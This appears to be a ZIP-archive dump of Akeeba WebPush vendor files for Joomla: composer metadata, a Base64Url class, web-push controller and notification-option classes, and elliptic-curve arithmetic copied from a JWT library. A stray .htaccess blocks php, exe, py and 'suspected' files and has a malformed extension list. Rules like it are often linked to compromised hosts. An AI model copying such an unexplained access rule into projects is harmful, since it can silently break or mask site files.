THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
PK     \}    #  vendor/akeeba/webpush/composer.jsonnu [        {
  "name": "akeeba/webpush",
  "type": "library",
  "description": "WebPush for Joomla components",
  "keywords": ["push", "notifications", "web", "WebPush", "Push API", "Joomla"],
  "homepage": "https://github.com/akeeba/webpush",
  "minimum-stability": "stable",
  "license": "GPL-3.0-or-later",
  "authors": [
    {
      "name": "Nicholas K. Dionysopoulos",
      "email": "nicholas@akeeba.com"
    }
  ],
  "config": {
    "platform": {
      "php": "7.4.999"
    }
  },
  "require": {
    "php": "^7.4|^8.0",
    "ext-openssl": "*",
    "ext-json": "*"
  },
  "suggest": {
    "ext-gmp": "*"
  },
  "autoload": {
    "psr-4" : {
      "Akeeba\\WebPush\\" : "src"
    }
  }
}PK     \|sS?
  ?
  1  vendor/akeeba/webpush/src/Base64Url/Base64Url.phpnu [        <?php
/**
 * Akeeba WebPush
 *
 * An abstraction layer for easier implementation of WebPush in Joomla components.
 *
 * @copyright Copyright (c) 2022-2026 Akeeba Ltd
 * @license   GNU GPL v3 or later; see LICENSE.txt
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */

declare(strict_types=1);

namespace Akeeba\WebPush\Base64Url;

/*
 * This class is copied verbatim from the Base64 Url Safe library by Spomky Labs.
 *
 * You can find the original code at https://github.com/Spomky-Labs/base64url
 *
 * The original file has the following copyright notice:
 *
 * =====================================================================================================================
 * The MIT License (MIT)
 *
 * Copyright (c) 2014-2020 Spomky-Labs
 *
 * This software may be modified and distributed under the terms
 * of the MIT license.  See the LICENSE-SPOMKY.txt file for details.
 * =====================================================================================================================
 */

use InvalidArgumentException;
use function base64_decode;
use function base64_encode;
use function rtrim;
use function strtr;

/**
 * Encode and decode data into Base64 Url Safe.
 */
final class Base64Url
{
	/**
	 * @param   string  $data        The data to encode
	 * @param   bool    $usePadding  If true, the "=" padding at end of the encoded value are kept, else it is removed
	 *
	 * @return string The data encoded
	 */
	public static function encode(string $data, bool $usePadding = false): string
	{
		$encoded = strtr(base64_encode($data), '+/', '-_');

		return true === $usePadding ? $encoded : rtrim($encoded, '=');
	}

	/**
	 * @param   string  $data  The data to decode
	 *
	 * @return string The data decoded
	 * @throws InvalidArgumentException
	 *
	 */
	public static function decode(string $data): string
	{
		$decoded = base64_decode(strtr($data, '-_', '+/'), true);
		if (false === $decoded)
		{
			throw new InvalidArgumentException('Invalid data provided');
		}

		return $decoded;
	}
}PK     \Sʉ      -  vendor/akeeba/webpush/src/Base64Url/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \hB
  B
  4  vendor/akeeba/webpush/src/WebPushControllerTrait.phpnu [        <?php
/**
 * Akeeba WebPush
 *
 * An abstraction layer for easier implementation of WebPush in Joomla components.
 *
 * @copyright Copyright (c) 2022-2026 Akeeba Ltd
 * @license   GNU GPL v3 or later; see LICENSE.txt
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\WebPush;

use Joomla\CMS\Language\Text;

/**
 * Trait for controllers implementing the Web Push user registration flow
 *
 * @since  1.0.0
 */
trait WebPushControllerTrait
{
	/**
	 * Record the Web Push user subscription object to the database.
	 *
	 * @return  void
	 * @since   1.0.0
	 */
	public function webpushsubscribe(): void
	{
		$ret = [
			'success' => true,
			'error'   => null,
		];

		try
		{
			if (!$this->checkToken('post', false))
			{
				throw new \RuntimeException(Text::_('JINVALID_TOKEN_NOTICE'));
			}

			$json  = $this->input->post->getRaw('subscription', '{}');
			$model = $this->getModel();

			$model->webPushSaveSubscription($json);

			if (method_exists($this, 'onAfterWebPushSaveSubscription'))
			{
				$this->onAfterWebPushSaveSubscription(json_decode($json));
			}
		}
		catch (\Throwable $e)
		{
			$ret['success'] = false;
			$ret['error'] = $e->getMessage();
		}

		@ob_end_clean();

		header('Content-Type: application/json');
		echo json_encode($ret);

		$this->app->close();
	}

	/**
	 * Remove the Web Push user subscription object from the database.
	 *
	 * @return  void
	 * @since   1.0.0
	 */
	public function webpushunsubscribe(): void
	{
		$ret = [
			'success' => true,
			'error'   => null,
		];

		try
		{
			if (!$this->checkToken('post', false))
			{
				throw new \RuntimeException(Text::_('JINVALID_TOKEN_NOTICE'));
			}

			$json  = $this->input->post->getRaw('subscription', '{}');
			$model = $this->getModel();

			$model->webPushRemoveSubscription($json);
		}
		catch (\Throwable $e)
		{
			$ret['success'] = false;
			$ret['error'] = $e->getMessage();
		}

		@ob_end_clean();

		header('Content-Type: application/json');
		echo json_encode($ret);

		$this->app->close();
	}
}PK     \RB.  .  1  vendor/akeeba/webpush/src/NotificationOptions.phpnu [        <?php
/**
 * Akeeba WebPush
 *
 * An abstraction layer for easier implementation of WebPush in Joomla components.
 *
 * @copyright Copyright (c) 2022-2026 Akeeba Ltd
 * @license   GNU GPL v3 or later; see LICENSE.txt
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\WebPush;

use Joomla\Utilities\ArrayHelper;

/**
 * Abstraction of the notification options recognised by browsers.
 *
 * IMPORTANT! Items marked as `experimental` may NOT work correctly, or at all, on some browsers.
 *
 * @since       1.0.0
 * @see         https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorkerRegistration/showNotification
 * @package     Akeeba\WebPush
 *
 * @property array|null  $actions            An array of actions to display in the notification.
 * @property string|null $badge              URL to a badge icon.
 * @property string|null $body               A string representing an extra content to display within the notification.
 * @property mixed       $data               Arbitrary data that you want to be associated with the notification.
 * @property string|null $dir                The direction of the notification; it can be auto, ltr or rtl.
 * @property string|null $icon               URL of an image to be used as an icon by the notification.
 * @property string|null $image              URL of an image to be displayed in the notification.
 * @property string|null $lang               Specify the language used within the notification.
 * @property bool        $renotify           Whether to suppress vibrations and audible alerts when reusing a tag value.
 * @property bool        $requireInteraction Should the notification remain on screen until dismissed?
 * @property bool        $silent             When set indicates that no sounds or vibrations should be made.
 * @property string|null $tag                A tag to group related notifications.
 * @property int|null    $timestamp          UNIX timestamp IN MILLISECONDS of the date and time applicable to a notification.
 * @property array|null  $vibrate            A vibration pattern to run with the display of the notification.
 */
class NotificationOptions implements \JsonSerializable, \ArrayAccess, \Countable
{
	/**
	 * An array of actions to display in the notification.
	 *
	 * Do note that this also needs support to be added to your Web Push service worker JavaScript file for each
	 * individual action. Actions are more prominent on Android than on desktop; in the latter case you need to click on
	 * the notification to see the actions and that's only if the browser supports actions.
	 *
	 * @since 1.0.0
	 * @var   array|null
	 * @see   https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorkerRegistration/showNotification
	 * @experimental
	 */
	private $actions = null;

	/**
	 * URL to a badge icon.
	 *
	 * This is a string containing the URL of an image to represent the notification when there is not enough space to
	 * display the notification itself such as for example, the Android Notification Bar. On Android devices, the badge
	 * should accommodate devices up to 4x resolution, about 96 by 96 px, and the image will be automatically masked.
	 *
	 * @since 1.0.0
	 * @var   string|null
	 * @experimental
	 */
	private $badge = null;

	/**
	 * A string representing an extra content to display within the notification.
	 *
	 * @since 1.0.0
	 * @var   string|null
	 */
	private $body = null;

	/**
	 * Arbitrary data that you want to be associated with the notification.
	 *
	 * @since 1.0.0
	 * @var   string|int|float|array|\stdClass|\JsonSerializable|null
	 * @experimental
	 */
	private $data = null;

	/**
	 * The direction of the notification; it can be auto, ltr or rtl.
	 *
	 * @since 1.0.0
	 * @var   string|null
	 */
	private $dir = null;

	/**
	 * URL of an image to be used as an icon by the notification.
	 *
	 * @since 1.0.0
	 * @var   string|null
	 */
	private $icon = null;

	/**
	 * URL of an image to be displayed in the notification.
	 *
	 * @since 1.0.0
	 * @var   string|null
	 * @experimental
	 */
	private $image = null;

	/**
	 * Specify the language used within the notification.
	 *
	 * This string must be a valid language tag according to RFC 5646: Tags for Identifying Languages (also known as
	 * BCP 47).
	 *
	 * @since 1.0.0
	 * @var   string|null
	 */
	private $lang = null;

	/**
	 * Whether to suppress vibrations and audible alerts when reusing a tag value.
	 *
	 * If options' renotify is true and optionss tag is the empty string a TypeError will be thrown by the JavaScript.
	 * The default is false.
	 *
	 * @since 1.0.0
	 * @var   bool
	 * @experimental
	 */
	private $renotify = false;

	/**
	 * Should the notification remain on screen until dismissed?
	 *
	 * Indicates that on devices with sufficiently large screens, a notification should remain active until the user
	 * clicks or dismisses it. If this value is absent or false, the desktop version of Chrome will auto-minimize
	 * notifications after approximately twenty seconds. The default value is false.
	 *
	 * @since 1.0.0
	 * @var   bool
	 * @experimental
	 */
	private $requireInteraction = false;

	/**
	 * When set indicates that no sounds or vibrations should be made.
	 *
	 * If options' silent is true and options' vibrate is present the JavaScript will throw a TypeError exception. The
	 * default value is false.
	 *
	 * @since 1.0.0
	 * @var   bool
	 */
	private $silent = false;

	/**
	 * A tag to group related notifications.
	 *
	 * An ID for a given notification that allows you to find, replace, or remove the notification using a script if
	 * necessary.
	 *
	 * @since 1.0.0
	 * @var   string|null
	 */
	private $tag = null;

	/**
	 * UNIX timestamp IN MILLISECONDS of the date and time applicable to a notification.
	 *
	 * Represents the time when the notification was created. It can be used to indicate the time at which a
	 * notification is actual. For example, this could be in the past when a notification is used for a message that
	 * couldn't immediately be delivered because the device was offline, or in the future for a meeting that is about to
	 * start.
	 *
	 * @since 1.0.0
	 * @var   int|null
	 */
	private $timestamp = null;

	/**
	 * A vibration pattern to run with the display of the notification.
	 *
	 * A vibration pattern can be an array with as few as one member. The values are times in milliseconds where the
	 * even indices (0, 2, 4, etc.) indicate how long to vibrate and the odd indices indicate how long to pause. For
	 * example, [300, 100, 400] would vibrate 300ms, pause 100ms, then vibrate 400ms.
	 *
	 * @since 1.0.0
	 * @var   array|null
	 * @experimental
	 */
	private $vibrate = null;

	/**
	 * Magic getter
	 *
	 * @param   string  $name  The property to get
	 *
	 * @return  mixed The property value
	 * @since   1.0.0
	 */
	public function __get($name)
	{
		return $this->offsetGet($name);
	}

	/**
	 * Magic setter
	 *
	 * @param   string  $name   The property to set
	 * @param   mixed   $value  The value to set
	 *
	 * @since   1.0.0
	 */
	public function __set($name, $value)
	{
		$this->offsetSet($name, $value);
	}

	/**
	 * Is a property set?
	 *
	 * @param   string  $name  The name of the property to check
	 *
	 * @return  bool  True if it exists
	 *
	 * @since   1.0.0
	 */
	#[\ReturnTypeWillChange]
	public function __isset($name)
	{
		return $this->offsetExists($name);
	}

	/**
	 * Converts the object to string
	 *
	 * @return  string  The JSON-serialised form of this object
	 *
	 * @since   1.0.0
	 */
	#[\ReturnTypeWillChange]
	public function __toString()
	{
		return json_encode($this);
	}

	/**
	 * Count elements of an object.
	 *
	 * This method only returns the number of top-level elements which will end up in the JSON-serialised format of this
	 * object.
	 *
	 * @return  int  The custom count as an integer.
	 * @since   1.0.0
	 */
	#[\ReturnTypeWillChange]
	public function count()
	{
		return count($this->toArray());
	}

	/**
	 * Specify data which should be serialized to JSON
	 *
	 * @return  mixed Data which can be serialized by <b>json_encode</b>.
	 * @since   1.0.0
	 */
	#[\ReturnTypeWillChange]
	public function jsonSerialize()
	{
		return $this->toArray();
	}

	/**
	 * Whether an offset exists
	 *
	 * @param   mixed  $offset  An offset to check for.
	 *
	 * @return  bool True on success
	 * @since   1.0.0
	 */
	#[\ReturnTypeWillChange]
	public function offsetExists($offset)
	{
		return property_exists($this, $offset);
	}

	/**
	 * Offset to retrieve
	 *
	 * @param   mixed  $offset  The offset to retrieve.
	 *
	 * @return  mixed
	 * @since   1.0.0
	 */
	#[\ReturnTypeWillChange]
	public function offsetGet($offset)
	{
		if (!$this->offsetExists($offset))
		{
			throw new \InvalidArgumentException(
				sprintf(
					'Class %s does not support array offset %s',
					__CLASS__,
					$offset
				)
			);
		}

		return $this->{$offset};
	}

	/**
	 * Offset to set
	 *
	 * @param   string  $offset  The offset to assign the value to.
	 * @param   mixed   $value   The value to set.
	 *
	 * @return  void
	 * @since   1.0.0
	 */
	#[\ReturnTypeWillChange]
	public function offsetSet($offset, $value)
	{
		switch ($offset)
		{
			case 'actions':
				if ($value !== null && !is_array($value))
				{
					throw new \InvalidArgumentException(sprintf('%s[\'%s\'] must be an array or null', __CLASS__, $offset));
				}
				break;

			case 'body':
			case 'lang':
			case 'tag':
				if ($value !== null && !is_string($value))
				{
					throw new \InvalidArgumentException(sprintf('%s[\'%s\'] must be null or string', __CLASS__, $offset));
				}
				break;

			case 'dir':
				if (($value !== null && !is_string($value)) || !in_array($value, ['auto', 'ltr', 'rtl']))
				{
					throw new \InvalidArgumentException(sprintf('%s[\'%s\'] must be one of "auto", "ltr", "rtl" or null', __CLASS__, $offset));
				}
				break;

			case 'badge':
			case 'icon':
			case 'image':
				$var = filter_var($value, FILTER_VALIDATE_URL, FILTER_NULL_ON_FAILURE);

				if (($value !== null && !is_string($value)) || ($var !== $value))
				{
					throw new \InvalidArgumentException(sprintf('%s[\'%s\'] must be null or a URL', __CLASS__, $offset));
				}
				break;

			case 'renotify':
			case 'requireInteraction':
			case 'silent':
				$value = filter_var($value, FILTER_VALIDATE_BOOL);
				break;

			case 'timestamp':
				$value = filter_var($value, FILTER_VALIDATE_INT, FILTER_NULL_ON_FAILURE);
				break;

			case 'vibrate':
				$value = ArrayHelper::toInteger($value);
				break;
		}

		$this->{$offset} = $value;
	}

	/**
	 * Unsupported
	 *
	 * @param   string  $offset  Ignored.
	 *
	 * @throws  \BadMethodCallException
	 * @since   1.0.0
	 */
	#[\ReturnTypeWillChange]
	public function offsetUnset($offset)
	{
		throw new \BadFunctionCallException(
			sprintf(
				'Class %s does not allow unsetting virtual array elements (you tried to unset %s)',
				__CLASS__,
				$offset
			)
		);
	}

	/**
	 * Returns an array with the non-null, non-empty-array arguments.
	 *
	 * @return  array
	 * @since   1.0.0
	 */
	public function toArray(): array
	{
		return array_filter(
			get_object_vars($this),
			function ($x) {
				return ($x !== null) && ($x !== []);
			}
		);
	}


}PK     \z!X    3  vendor/akeeba/webpush/src/ECC/ModularArithmetic.phpnu [        <?php
/**
 * Akeeba WebPush
 *
 * An abstraction layer for easier implementation of WebPush in Joomla components.
 *
 * @copyright Copyright (c) 2022-2026 Akeeba Ltd
 * @license   GNU GPL v3 or later; see LICENSE.txt
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */

declare(strict_types=1);

namespace Akeeba\WebPush\ECC;

use Brick\Math\BigInteger;

/**
 * This class is copied verbatim from the JWT Framework by Spomky Labs.
 *
 * You can find the original code at https://github.com/web-token/jwt-framework
 *
 * The original file has the following copyright notice:
 *
 * =====================================================================================================================
 *
 * The MIT License (MIT)
 *
 * Copyright (c) 2014-2020 Spomky-Labs
 *
 * This software may be modified and distributed under the terms
 * of the MIT license.  See the LICENSE-SPOMKY.txt file for details.
 *
 * =====================================================================================================================
 *
 * @internal
 */
class ModularArithmetic
{
    public static function sub(BigInteger $minuend, BigInteger $subtrahend, BigInteger $modulus): BigInteger
    {
        return $minuend->minus($subtrahend)->mod($modulus);
    }

    public static function mul(BigInteger $multiplier, BigInteger $muliplicand, BigInteger $modulus): BigInteger
    {
        return $multiplier->multipliedBy($muliplicand)->mod($modulus);
    }

    public static function div(BigInteger $dividend, BigInteger $divisor, BigInteger $modulus): BigInteger
    {
        return self::mul($dividend, Math::inverseMod($divisor, $modulus), $modulus);
    }
}
PK     \)    ,  vendor/akeeba/webpush/src/ECC/PrivateKey.phpnu [        <?php
/**
 * Akeeba WebPush
 *
 * An abstraction layer for easier implementation of WebPush in Joomla components.
 *
 * @copyright Copyright (c) 2022-2026 Akeeba Ltd
 * @license   GNU GPL v3 or later; see LICENSE.txt
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */

declare(strict_types=1);

namespace Akeeba\WebPush\ECC;

use Brick\Math\BigInteger;

/**
 * This class is copied verbatim from the JWT Framework by Spomky Labs.
 *
 * You can find the original code at https://github.com/web-token/jwt-framework
 *
 * The original file has the following copyright notice:
 *
 * =====================================================================================================================
 *
 * The MIT License (MIT)
 *
 * Copyright (c) 2014-2020 Spomky-Labs
 *
 * This software may be modified and distributed under the terms
 * of the MIT license.  See the LICENSE-SPOMKY.txt file for details.
 *
 * =====================================================================================================================
 *
 * *********************************************************************
 * Copyright (C) 2012 Matyas Danter.
 *
 * Permission is hereby granted, free of charge, to any person obtaining
 * a copy of this software and associated documentation files (the "Software"),
 * to deal in the Software without restriction, including without limitation
 * the rights to use, copy, modify, merge, publish, distribute, sublicense,
 * and/or sell copies of the Software, and to permit persons to whom the
 * Software is furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included
 * in all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
 * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
 * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES
 * OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
 * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
 * OTHER DEALINGS IN THE SOFTWARE.
 * ***********************************************************************
 *
 * @internal
 */
class PrivateKey
{
    /**
     * @var BigInteger
     */
    private $secret;

    private function __construct(BigInteger $secret)
    {
        $this->secret = $secret;
    }

    public static function create(BigInteger $secret): self
    {
        return new self($secret);
    }

    public function getSecret(): BigInteger
    {
        return $this->secret;
    }
}
PK     \a2%  2%  '  vendor/akeeba/webpush/src/ECC/Curve.phpnu [        <?php
/**
 * Akeeba WebPush
 *
 * An abstraction layer for easier implementation of WebPush in Joomla components.
 *
 * @copyright Copyright (c) 2022-2026 Akeeba Ltd
 * @license   GNU GPL v3 or later; see LICENSE.txt
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */

declare(strict_types=1);

namespace Akeeba\WebPush\ECC;

use Brick\Math\BigInteger;
use RuntimeException;
use function is_null;

/**
 * This class is copied verbatim from the JWT Framework by Spomky Labs.
 *
 * You can find the original code at https://github.com/web-token/jwt-framework
 *
 * The original file has the following copyright notice:
 *
 * =====================================================================================================================
 *
 * The MIT License (MIT)
 *
 * Copyright (c) 2014-2020 Spomky-Labs
 *
 * This software may be modified and distributed under the terms
 * of the MIT license.  See the LICENSE-SPOMKY.txt file for details.
 *
 * =====================================================================================================================
 *
 * @internal
 */
class Curve
{
    /**
     * Elliptic curve over the field of integers modulo a prime.
     *
     * @var BigInteger
     */
    private $a;

    /**
     * @var BigInteger
     */
    private $b;

    /**
     * @var BigInteger
     */
    private $prime;

    /**
     * Binary length of keys associated with these curve parameters.
     *
     * @var int
     */
    private $size;

    /**
     * @var Point
     */
    private $generator;

    public function __construct(int $size, BigInteger $prime, BigInteger $a, BigInteger $b, Point $generator)
    {
        $this->size = $size;
        $this->prime = $prime;
        $this->a = $a;
        $this->b = $b;
        $this->generator = $generator;
    }

    public function __toString(): string
    {
        return 'curve('.Math::toString($this->getA()).', '.Math::toString($this->getB()).', '.Math::toString($this->getPrime()).')';
    }

    public function getA(): BigInteger
    {
        return $this->a;
    }

    public function getB(): BigInteger
    {
        return $this->b;
    }

    public function getPrime(): BigInteger
    {
        return $this->prime;
    }

    public function getSize(): int
    {
        return $this->size;
    }

    /**
     * @throws RuntimeException if the curve does not contain the point
     */
    public function getPoint(BigInteger $x, BigInteger $y, ?BigInteger $order = null): Point
    {
        if (!$this->contains($x, $y)) {
            throw new RuntimeException('Curve '.$this->__toString().' does not contain point ('.Math::toString($x).', '.Math::toString($y).')');
        }
        $point = Point::create($x, $y, $order);
        if (!is_null($order)) {
            $mul = $this->mul($point, $order);
            if (!$mul->isInfinity()) {
                throw new RuntimeException('SELF * ORDER MUST EQUAL INFINITY.');
            }
        }

        return $point;
    }

    /**
     * @throws RuntimeException if the coordinates are out of range
     */
    public function getPublicKeyFrom(BigInteger $x, BigInteger $y): PublicKey
    {
        $zero = BigInteger::zero();
        if ($x->compareTo($zero) < 0 || $y->compareTo($zero) < 0 || $this->generator->getOrder()->compareTo($x) <= 0 || $this->generator->getOrder()->compareTo($y) <= 0) {
            throw new RuntimeException('Generator point has x and y out of range.');
        }
        $point = $this->getPoint($x, $y);

        return new PublicKey($point);
    }

    public function contains(BigInteger $x, BigInteger $y): bool
    {
        return Math::equals(
            ModularArithmetic::sub(
                $y->power(2),
                Math::add(
                    Math::add(
                        $x->power(3),
                        $this->getA()->multipliedBy($x)
                    ),
                    $this->getB()
                ),
                $this->getPrime()
            ),
            BigInteger::zero()
        );
    }

    public function add(Point $one, Point $two): Point
    {
        if ($two->isInfinity()) {
            return clone $one;
        }

        if ($one->isInfinity()) {
            return clone $two;
        }

        if ($two->getX()->isEqualTo($one->getX())) {
            if ($two->getY()->isEqualTo($one->getY())) {
                return $this->getDouble($one);
            }

            return Point::infinity();
        }

        $slope = ModularArithmetic::div(
            $two->getY()->minus($one->getY()),
            $two->getX()->minus($one->getX()),
            $this->getPrime()
        );

        $xR = ModularArithmetic::sub(
            $slope->power(2)->minus($one->getX()),
            $two->getX(),
            $this->getPrime()
        );

        $yR = ModularArithmetic::sub(
            $slope->multipliedBy($one->getX()->minus($xR)),
            $one->getY(),
            $this->getPrime()
        );

        return $this->getPoint($xR, $yR, $one->getOrder());
    }

    public function mul(Point $one, BigInteger $n): Point
    {
        if ($one->isInfinity()) {
            return Point::infinity();
        }

        /** @var BigInteger $zero */
        $zero = BigInteger::zero();
        if ($one->getOrder()->compareTo($zero) > 0) {
            $n = $n->mod($one->getOrder());
        }

        if ($n->isEqualTo($zero)) {
            return Point::infinity();
        }

        /** @var Point[] $r */
        $r = [
            Point::infinity(),
            clone $one,
        ];

        $k = $this->getSize();
        $n1 = str_pad(Math::baseConvert(Math::toString($n), 10, 2), $k, '0', STR_PAD_LEFT);

        for ($i = 0; $i < $k; ++$i) {
            $j = $n1[$i];
            Point::cswap($r[0], $r[1], $j ^ 1);
            $r[0] = $this->add($r[0], $r[1]);
            $r[1] = $this->getDouble($r[1]);
            Point::cswap($r[0], $r[1], $j ^ 1);
        }

        $this->validate($r[0]);

        return $r[0];
    }

    /**
     * @param Curve $other
     */
    public function cmp(self $other): int
    {
        $equal = $this->getA()->isEqualTo($other->getA())
                 && $this->getB()->isEqualTo($other->getB())
                 && $this->getPrime()->isEqualTo($other->getPrime());

        return $equal ? 0 : 1;
    }

    /**
     * @param Curve $other
     */
    public function equals(self $other): bool
    {
        return 0 === $this->cmp($other);
    }

    public function getDouble(Point $point): Point
    {
        if ($point->isInfinity()) {
            return Point::infinity();
        }

        $a = $this->getA();
        $threeX2 = BigInteger::of(3)->multipliedBy($point->getX()->power(2));

        $tangent = ModularArithmetic::div(
            $threeX2->plus($a),
            BigInteger::of(2)->multipliedBy($point->getY()),
            $this->getPrime()
        );

        $x3 = ModularArithmetic::sub(
            $tangent->power(2),
            BigInteger::of(2)->multipliedBy($point->getX()),
            $this->getPrime()
        );

        $y3 = ModularArithmetic::sub(
            $tangent->multipliedBy($point->getX()->minus($x3)),
            $point->getY(),
            $this->getPrime()
        );

        return $this->getPoint($x3, $y3, $point->getOrder());
    }

    public function createPrivateKey(): PrivateKey
    {
        return PrivateKey::create($this->generate());
    }

    public function createPublicKey(PrivateKey $privateKey): PublicKey
    {
        $point = $this->mul($this->generator, $privateKey->getSecret());

        return new PublicKey($point);
    }

    public function getGenerator(): Point
    {
        return $this->generator;
    }

    /**
     * @throws RuntimeException if the point is invalid
     */
    private function validate(Point $point): void
    {
        if (!$point->isInfinity() && !$this->contains($point->getX(), $point->getY())) {
            throw new RuntimeException('Invalid point');
        }
    }

    private function generate(): BigInteger
    {
        $max = $this->generator->getOrder();
        $numBits = $this->bnNumBits($max);
        $numBytes = (int) ceil($numBits / 8);
        // Generate an integer of size >= $numBits
        $bytes = BigInteger::randomBits($numBytes);
        $mask = BigInteger::of(2)->power($numBits)->minus(1);

        return $bytes->and($mask);
    }

    /**
     * Returns the number of bits used to store this number. Non-significant upper bits are not counted.
     *
     * @see https://www.openssl.org/docs/crypto/BN_num_bytes.html
     */
    private function bnNumBits(BigInteger $x): int
    {
        $zero = BigInteger::of(0);
        if ($x->isEqualTo($zero)) {
            return 0;
        }
        $log2 = 0;
        while (!$x->isEqualTo($zero)) {
            $x = $x->shiftedRight(1);
            ++$log2;
        }

        return $log2;
    }
}
PK     \:  :  +  vendor/akeeba/webpush/src/ECC/PublicKey.phpnu [        <?php
/**
 * Akeeba WebPush
 *
 * An abstraction layer for easier implementation of WebPush in Joomla components.
 *
 * @copyright Copyright (c) 2022-2026 Akeeba Ltd
 * @license   GNU GPL v3 or later; see LICENSE.txt
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */

declare(strict_types=1);

namespace Akeeba\WebPush\ECC;

/**
 * This class is copied verbatim from the JWT Framework by Spomky Labs.
 *
 * You can find the original code at https://github.com/web-token/jwt-framework
 *
 * The original file has the following copyright notice:
 *
 * =====================================================================================================================
 *
 * The MIT License (MIT)
 *
 * Copyright (c) 2014-2020 Spomky-Labs
 *
 * This software may be modified and distributed under the terms
 * of the MIT license.  See the LICENSE-SPOMKY.txt file for details.
 *
 * =====================================================================================================================
 *
 * *********************************************************************
 * Copyright (C) 2012 Matyas Danter.
 *
 * Permission is hereby granted, free of charge, to any person obtaining
 * a copy of this software and associated documentation files (the "Software"),
 * to deal in the Software without restriction, including without limitation
 * the rights to use, copy, modify, merge, publish, distribute, sublicense,
 * and/or sell copies of the Software, and to permit persons to whom the
 * Software is furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included
 * in all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
 * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
